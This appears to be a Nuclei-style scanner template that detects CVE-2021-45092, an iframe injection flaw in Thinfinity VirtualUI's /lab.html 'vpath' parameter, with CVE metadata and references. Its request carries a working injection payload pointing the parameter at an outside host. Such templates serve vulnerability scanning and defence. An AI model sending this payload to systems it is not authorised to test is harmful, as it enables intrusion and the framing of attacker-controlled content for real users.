id: CVE-2021-45092

info:
  name: Thinfinity Iframe Injection
  author: danielmofer
  severity: critical
  description: Thinfinity VirtualUI is a web remote desktop system, a vulnerability exist in a function located in /lab.html reachable by default that could allow IFRAME injection via the "vpath" parameter.
  reference:
    - https://github.com/cybelesoft/virtualui/issues/2
    - https://nvd.nist.gov/vuln/detail/CVE-2021-44848
    - https://www.tenable.com/cve/CVE-2021-45092
  tags: cve,cve2021,injection,iframe,thinfinity
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.80
    cve-id: CVE-2021-45092
    cwe-id: CWE-74

requests:
  - method: GET
    path:
      - "{{BaseURL}}/lab.html?vpath=//example.com"

    matchers:
      - type: regex
        regex:
          - ".*vpath.*"
          - "thinfinity"
        condition: and